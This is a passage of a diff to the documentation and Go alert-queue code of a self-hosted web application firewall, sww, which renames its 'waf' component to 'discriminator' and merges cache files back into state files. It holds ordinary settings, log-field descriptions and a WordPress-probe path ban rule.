- `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
|
||||||
path under `/_sww/`.
|
`404` for a path under `/_sww/`.
|
||||||
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
||||||
request it would have refused. `action` then names what was done, normally
|
request it would have refused. `action` then names what was done, normally
|
||||||
`forward`.
|
`forward`.
|
||||||
@@ -129,8 +131,9 @@ Every one of these lines has:
|
|||||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
- `after_answer_heuristic`: the heuristic that banned the client after
|
||||||
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
`discriminator` answered the request, in `observe` mode too: `refusal_limit`
|
||||||
|
or `byte_limits`.
|
||||||
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
||||||
acted on, as listed above.
|
acted on, as listed above.
|
||||||
|
|
||||||
@@ -188,8 +191,8 @@ Every one of these lines has:
|
|||||||
All in milliseconds:
|
All in milliseconds:
|
||||||
|
|
||||||
- `duration_total_ms`:
|
- `duration_total_ms`:
|
||||||
- on the `decision` line, from `waf` having read the question's body to the
|
- on the `decision` line, from `discriminator` having read the question's
|
||||||
line;
|
body to the line;
|
||||||
- on the `report` line, from `rproxy` having read the request's headers to
|
- on the `report` line, from `rproxy` having read the request's headers to
|
||||||
the end of the answer.
|
the end of the answer.
|
||||||
- `duration_checks_ms`: to the end of the checks;
|
- `duration_checks_ms`: to the end of the checks;
|
||||||
@@ -199,8 +202,8 @@ All in milliseconds:
|
|||||||
|
|
||||||
### Requests to its own endpoints
|
### Requests to its own endpoints
|
||||||
|
|
||||||
The line of a request to `waf`'s own endpoints has these fields, with these
|
The line of a request to `discriminator`'s own endpoints has these fields, with
|
||||||
meanings where they differ:
|
these meanings where they differ:
|
||||||
|
|
||||||
- `client_ip` and `peer_ip`: the request's TCP peer.
|
- `client_ip` and `peer_ip`: the request's TCP peer.
|
||||||
- `request_id`: a new random one of 26 letters and digits.
|
- `request_id`: a new random one of 26 letters and digits.
|
||||||
@@ -213,7 +216,7 @@ meanings where they differ:
|
|||||||
## `rproxy`'s line
|
## `rproxy`'s line
|
||||||
|
|
||||||
`sww rproxy` writes one short line for each request. `request_id` joins it to
|
`sww rproxy` writes one short line for each request. `request_id` joins it to
|
||||||
`waf`'s two. It has these fields and no others:
|
`discriminator`'s two. It has these fields and no others:
|
||||||
|
|
||||||
- `type`: `request`.
|
- `type`: `request`.
|
||||||
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
|
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
|
||||||
@@ -228,15 +231,15 @@ meanings where they differ:
|
|||||||
carried from the app.
|
carried from the app.
|
||||||
- `duration_request_ms`: milliseconds from the request's headers being read
|
- `duration_request_ms`: milliseconds from the request's headers being read
|
||||||
until the app had been sent the whole request, or the answer started if that
|
until the app had been sent the whole request, or the answer started if that
|
||||||
was sooner. It includes the wait for `waf`.
|
was sooner. It includes the wait for `discriminator`.
|
||||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||||
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
|
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
|
||||||
when:
|
left out when:
|
||||||
- `waf` was not asked, as for the health check;
|
- `discriminator` was not asked, as for the health check;
|
||||||
- the visitor went away while `waf` was being asked;
|
- the visitor went away while `discriminator` was being asked;
|
||||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
||||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
||||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||||
`disposition`, and otherwise left out.
|
`disposition`, and otherwise left out.
|
||||||
|
|
||||||
|
|||||||
+6
-4
@@ -54,18 +54,20 @@ empty-agent user_agent log ^$
|
|||||||
|
|
||||||
## A file of your own
|
## A file of your own
|
||||||
|
|
||||||
`waf` reads the rule files in its own container. Rules of your own go in a file
|
`discriminator` reads the rule files in its own container. Rules of your own go
|
||||||
named to sort after the default, such as `50-site.rules`:
|
in a file named to sort after the default, such as `50-site.rules`:
|
||||||
|
|
||||||
```
|
```
|
||||||
# 50-site.rules: WordPress probes, which this site never serves
|
# 50-site.rules: WordPress probes, which this site never serves
|
||||||
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
|
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
|
||||||
```
|
```
|
||||||
|
|
||||||
A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it:
|
A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
|
||||||
|
from, adds it:
|
||||||
|
|
||||||
```dockerfile
|
```dockerfile
|
||||||
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
|
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
|
||||||
```
|
```
|
||||||
|
|
||||||
Or mount it there. A `path` rule applies on every site behind that `waf`.
|
Or mount it there. A `path` rule applies on every site behind that
|
||||||
|
`discriminator`.
|
||||||
+44
-43
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
|||||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||||
that take `off`, the `_FILE` form, and what each group does and why.
|
that take `off`, the `_FILE` form, and what each group does and why.
|
||||||
|
|
||||||
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
|
The settings that start with `SWW_` are `discriminator`'s. Those that start with
|
||||||
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
|
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
|
||||||
the two (see "The image's command" below).
|
between the two (see "The image's command" below).
|
||||||
|
|
||||||
## Forms of values
|
## Forms of values
|
||||||
|
|
||||||
@@ -28,20 +28,21 @@ the two (see "The image's command" below).
|
|||||||
|
|
||||||
## Core
|
## Core
|
||||||
|
|
||||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
|
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
|
||||||
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
port, such as `:9000`. Leave the host out (see "Ports" in
|
||||||
|
[`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||||
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
|
in each line `discriminator` logs, and in each alert and metric, such as
|
||||||
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
|
`fsn1/discriminator`. Valid UTF-8. No control character while
|
||||||
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
|
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||||
and `SWW_LOG_REMOTE_APP_NAME` is not.
|
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||||
group, from 32 to 128.
|
group, from 32 to 128.
|
||||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||||
number above zero.
|
number above zero.
|
||||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
|
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
||||||
number above zero.
|
keeps, a whole number above zero.
|
||||||
|
|
||||||
## Tokens
|
## Tokens
|
||||||
|
|
||||||
@@ -50,21 +51,19 @@ the two (see "The image's command" below).
|
|||||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||||
32 characters.
|
32 characters.
|
||||||
|
|
||||||
## State and cache files
|
## State files
|
||||||
|
|
||||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||||
absolute path that can be written. The image's `run` script makes it.
|
absolute path that exists and can be written.
|
||||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
||||||
file is written. A duration.
|
written. A duration.
|
||||||
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
|
|
||||||
an absolute path that can be written. The image's `run` script makes it.
|
|
||||||
|
|
||||||
## Logging
|
## Logging
|
||||||
|
|
||||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
|
||||||
that are written: `debug`, `info`, `warn` or `error`.
|
messages that are written: `debug`, `info`, `warn` or `error`.
|
||||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||||
request headers recorded in the log line, in either case. `Host` and
|
request headers recorded in the log line, in either case. `Host` and
|
||||||
@@ -168,8 +167,8 @@ cut off; the client is banned.
|
|||||||
|
|
||||||
## Request tags
|
## Request tags
|
||||||
|
|
||||||
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
Every request gets tags from what `discriminator` knows of its client. See
|
||||||
in [`SPEC.md`](../SPEC.md).
|
"Request tags" in [`SPEC.md`](../SPEC.md).
|
||||||
|
|
||||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||||
@@ -189,10 +188,10 @@ in [`SPEC.md`](../SPEC.md).
|
|||||||
|
|
||||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||||
service that gives an address's announced netblock and origin AS. `waf` asks
|
service that gives an address's announced netblock and origin AS.
|
||||||
it about each client, in the background, and adds the tags `asn=<number>` and
|
`discriminator` asks it about each client, in the background, and adds the
|
||||||
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
||||||
routewatch and no request gets a `prefix=` tag.
|
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
||||||
|
|
||||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||||
that no request can get stops the start. A request can get only these:
|
that no request can get stops the start. A request can get only these:
|
||||||
@@ -378,7 +377,7 @@ Then mount its directory into the container read-only, and name the file:
|
|||||||
```sh
|
```sh
|
||||||
docker run \
|
docker run \
|
||||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||||
-e SWW_COMMAND=waf \
|
-e SWW_COMMAND=discriminator \
|
||||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
@@ -392,20 +391,21 @@ A few limits are fixed rather than settings:
|
|||||||
- at most 1,000 DNS blocklist queries are under way at once;
|
- at most 1,000 DNS blocklist queries are under way at once;
|
||||||
- at most 20,000 anomaly counters are kept;
|
- at most 20,000 anomaly counters are kept;
|
||||||
- each alert destination's queue holds at most 1,000 alerts;
|
- each alert destination's queue holds at most 1,000 alerts;
|
||||||
- `waf` holds at most 10,000 answered requests awaiting their reports;
|
- `discriminator` holds at most 10,000 answered requests awaiting their reports;
|
||||||
- `waf` refuses a request with more than 50 cookies or more than 100 header
|
- `discriminator` refuses a request with more than 50 cookies or more than 100
|
||||||
fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md));
|
header fields (see "Answering in time" under "`discriminator`" in
|
||||||
|
[`SPEC.md`](../SPEC.md));
|
||||||
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
||||||
kept-open connection idle for 120 seconds;
|
kept-open connection idle for 120 seconds;
|
||||||
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
|
- `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
|
||||||
to a longer one.
|
answers `502` to a longer one.
|
||||||
|
|
||||||
## `waf`'s answer and `rproxy`'s wait
|
## `discriminator`'s answer and `rproxy`'s wait
|
||||||
|
|
||||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||||
in the background (see "Answering in time" under "`waf`" in
|
in the background (see "Answering in time" under "`discriminator`" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## `rproxy`
|
## `rproxy`
|
||||||
@@ -417,15 +417,16 @@ they do.
|
|||||||
|
|
||||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||||
|
|
||||||
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
|
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
|
||||||
URL with a host and an optional port, and nothing more. `rproxy` speaks
|
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||||
HTTP/1.1 to it.
|
speaks HTTP/1.1 to it.
|
||||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
||||||
answer, to a question and to a report. A time; never `off`.
|
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
||||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||||
`waf` cannot be connected to, does not answer at all, or does not answer
|
`discriminator` cannot be connected to, does not answer at all, or does not
|
||||||
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
|
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
|
||||||
`503`. It does not apply to an answer `waf` gives, such as an error.
|
answers `503`. It does not apply to an answer `discriminator` gives, such as
|
||||||
|
an error.
|
||||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||||
`off`.
|
`off`.
|
||||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||||
@@ -451,8 +452,8 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
|||||||
## The image's command
|
## The image's command
|
||||||
|
|
||||||
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
|
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
|
||||||
check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)).
|
check checks: `rproxy` or `discriminator` (see "Deployment" in
|
||||||
It cannot be given as a file.
|
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
|
||||||
|
|
||||||
## Where earlier settings went
|
## Where earlier settings went
|
||||||
|
|
||||||
|
|||||||
+19
-74
@@ -1,28 +1,13 @@
|
|||||||
# State and cache files
|
# State files
|
||||||
|
|
||||||
The JSON files `waf` keeps, and what each holds. "Persistent state" in
|
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
|
||||||
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
|
||||||
top-level `version` of 1.
|
a top-level `version` of 1.
|
||||||
|
|
||||||
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
|
|
||||||
what cannot be fetched again, so back them up:
|
|
||||||
- `bans.json`;
|
|
||||||
- `clients.json`;
|
|
||||||
- `abuseipdb-checks-spent.json`;
|
|
||||||
- `alerts.json`.
|
|
||||||
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
|
||||||
answers from outside services, which are asked again when a file is lost, so
|
|
||||||
the directory can be left out of backups:
|
|
||||||
- `lookups.json`;
|
|
||||||
- `lists.json`;
|
|
||||||
- `dnsbl.json`;
|
|
||||||
- `abuseipdb-scores.json`;
|
|
||||||
- `routewatch.json`.
|
|
||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||||
`waf` made. Per entry:
|
`discriminator` made. Per entry:
|
||||||
|
|
||||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||||
@@ -82,13 +67,21 @@ since it was first seen:
|
|||||||
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
||||||
kept, and which nothing adds to.
|
kept, and which nothing adds to.
|
||||||
|
|
||||||
## `abuseipdb-checks-spent.json`
|
## `lookups.json`
|
||||||
|
|
||||||
The AbuseIPDB checks spent today, so that a restart does not spend the daily
|
GeoJS answers, one per line:
|
||||||
budget again:
|
|
||||||
|
|
||||||
- `day`: the day, in UTC;
|
- `client`;
|
||||||
- `spent`: the checks spent on it.
|
- `asn`, `as_name` and `country`;
|
||||||
|
- `answered`: when GeoJS answered;
|
||||||
|
- `used`: when the answer was last used.
|
||||||
|
|
||||||
|
## `reputation.json`
|
||||||
|
|
||||||
|
- the last good copy of each list fetched from a URL, with when it was last
|
||||||
|
tried;
|
||||||
|
- each DNS blocklist verdict still in use;
|
||||||
|
- AbuseIPDB's scores, and the checks spent today.
|
||||||
|
|
||||||
## `alerts.json`
|
## `alerts.json`
|
||||||
|
|
||||||
@@ -98,51 +91,6 @@ budget again:
|
|||||||
- the alerts sent and held back in the current hour;
|
- the alerts sent and held back in the current hour;
|
||||||
- the alerts waiting for each destination.
|
- the alerts waiting for each destination.
|
||||||
|
|
||||||
## `lookups.json`
|
|
||||||
|
|
||||||
A cache file. GeoJS answers, one per line:
|
|
||||||
|
|
||||||
- `client`;
|
|
||||||
- `asn`, `as_name` and `country`;
|
|
||||||
- `answered`: when GeoJS answered;
|
|
||||||
- `used`: when the answer was last used.
|
|
||||||
|
|
||||||
## `lists.json`
|
|
||||||
|
|
||||||
A cache file. The last good copy of each list fetched from a URL, with when it
|
|
||||||
was last tried:
|
|
||||||
|
|
||||||
- `url`;
|
|
||||||
- `tried`: when it was last fetched or tried;
|
|
||||||
- `fetched` and `lines`: when the last good copy was fetched, and its lines,
|
|
||||||
comment lines included.
|
|
||||||
|
|
||||||
## `dnsbl.json`
|
|
||||||
|
|
||||||
A cache file. Each DNS blocklist verdict still in use, one per line:
|
|
||||||
|
|
||||||
- `zone` and `client`;
|
|
||||||
- `listed`: whether the zone lists the client;
|
|
||||||
- `fetched`: when the zone answered.
|
|
||||||
|
|
||||||
## `abuseipdb-scores.json`
|
|
||||||
|
|
||||||
A cache file. AbuseIPDB's scores still in use, one per line:
|
|
||||||
|
|
||||||
- `client`;
|
|
||||||
- `score`: from 0 to 100;
|
|
||||||
- `fetched`: when AbuseIPDB answered.
|
|
||||||
|
|
||||||
## `routewatch.json`
|
|
||||||
|
|
||||||
A cache file. routewatch's answers from the last hour, one per line:
|
|
||||||
|
|
||||||
- `client`;
|
|
||||||
- `netblock`: the netblock the client's address is announced in, empty for an
|
|
||||||
address without a live route;
|
|
||||||
- `asn`: the number of the AS that originates the netblock, 0 for none;
|
|
||||||
- `answered`: when routewatch answered.
|
|
||||||
|
|
||||||
## Sizes
|
## Sizes
|
||||||
|
|
||||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||||
@@ -154,7 +102,4 @@ A cache file. routewatch's answers from the last hour, one per line:
|
|||||||
more.
|
more.
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
full.
|
full.
|
||||||
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
|
- `reputation.json` and `alerts.json`: usually a few MiB or less.
|
||||||
- `abuseipdb-checks-spent.json`: a few bytes.
|
|
||||||
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
|
|
||||||
a few MiB or less.
|
|
||||||
+22
-63
@@ -56,11 +56,9 @@ const (
|
|||||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
||||||
// failing or refused, or the day's AbuseIPDB checks used up.
|
// failing or refused, or the day's AbuseIPDB checks used up.
|
||||||
EventSourceFailure = "source_failure"
|
EventSourceFailure = "source_failure"
|
||||||
// EventFileError is one of:
|
// EventFileError is a rule file or state file edited while sww
|
||||||
// - a rule file or state file edited while sww runs that does not parse;
|
// runs that does not parse, a replacement of the lookup database that
|
||||||
// - a cache file that does not parse, at start or after an edit;
|
// cannot be read, or a state file that cannot be written.
|
||||||
// - a state file or cache file that cannot be written;
|
|
||||||
// - a replacement of the lookup database that cannot be read.
|
|
||||||
EventFileError = "file_error"
|
EventFileError = "file_error"
|
||||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||||
@@ -153,7 +151,7 @@ type Params struct {
|
|||||||
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
|
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
|
||||||
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
|
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
|
||||||
// Country are, for a ban, the client's as the ban's notes give them. Host is
|
// Country are, for a ban, the client's as the ban's notes give them. Host is
|
||||||
// the site of the request that raised the alert, while one waf serves
|
// the site of the request that raised the alert, while one discriminator serves
|
||||||
// many sites, and "" otherwise.
|
// many sites, and "" otherwise.
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
|
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
|
||||||
@@ -291,15 +289,7 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
|
|||||||
asn, _ := alert.Detail["asn"].(string)
|
asn, _ := alert.Detail["asn"].(string)
|
||||||
name, _ := alert.Detail["name"].(string)
|
name, _ := alert.Detail["name"].(string)
|
||||||
|
|
||||||
return cooldownKey{
|
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
|
||||||
alert.Event,
|
|
||||||
alert.Netblock,
|
|
||||||
file,
|
|
||||||
source,
|
|
||||||
scope,
|
|
||||||
asn,
|
|
||||||
name,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Queue with no alert yet.
|
// New returns a Queue with no alert yet.
|
||||||
@@ -341,8 +331,7 @@ func New(params Params) *Queue {
|
|||||||
// queue of each destination, from which Run sends it, and with queueSize
|
// queue of each destination, from which Run sends it, and with queueSize
|
||||||
// alerts waiting for a destination, the oldest is dropped.
|
// alerts waiting for a destination, the oldest is dropped.
|
||||||
func (q *Queue) Raise(alert Alert) {
|
func (q *Queue) Raise(alert Alert) {
|
||||||
if len(q.destinations) == 0 ||
|
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
|
||||||
!slices.Contains(q.params.Events, alert.Event) {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -389,8 +378,7 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
|
|||||||
now := q.params.Now()
|
now := q.params.Now()
|
||||||
|
|
||||||
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
||||||
if q.params.Cooldown > 0 && found &&
|
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
|
||||||
now.Sub(last.Sent) < q.params.Cooldown {
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -484,15 +472,10 @@ func (q *Queue) Snapshot() State {
|
|||||||
}
|
}
|
||||||
|
|
||||||
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
||||||
return cmp.Or(
|
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
|
||||||
a.Netblock.Compare(b.Netblock),
|
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
|
||||||
cmp.Compare(a.Event, b.Event),
|
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
|
||||||
cmp.Compare(a.File, b.File),
|
cmp.Compare(a.Name, b.Name))
|
||||||
cmp.Compare(a.Source, b.Source),
|
|
||||||
cmp.Compare(a.Scope, b.Scope),
|
|
||||||
cmp.Compare(a.ASN, b.ASN),
|
|
||||||
cmp.Compare(a.Name, b.Name),
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
|
|
||||||
for _, d := range q.destinations {
|
for _, d := range q.destinations {
|
||||||
@@ -624,12 +607,9 @@ func (q *Queue) endHour(now time.Time) {
|
|||||||
var reasons []string
|
var reasons []string
|
||||||
|
|
||||||
if heldBack > 0 {
|
if heldBack > 0 {
|
||||||
reasons = append(
|
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||||
reasons,
|
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||||
fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
||||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
|
||||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if repeats > 0 {
|
if repeats > 0 {
|
||||||
@@ -708,19 +688,12 @@ func (d *destination) run(ctx context.Context) {
|
|||||||
case ctx.Err() == nil: // not cut off as sww stops
|
case ctx.Err() == nil: // not cut off as sww stops
|
||||||
d.sendFailures.Add(1)
|
d.sendFailures.Add(1)
|
||||||
|
|
||||||
retryDelay = min(
|
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
|
||||||
max(retryDelayFactor*retryDelay, firstRetryDelay),
|
maxRetryDelay)
|
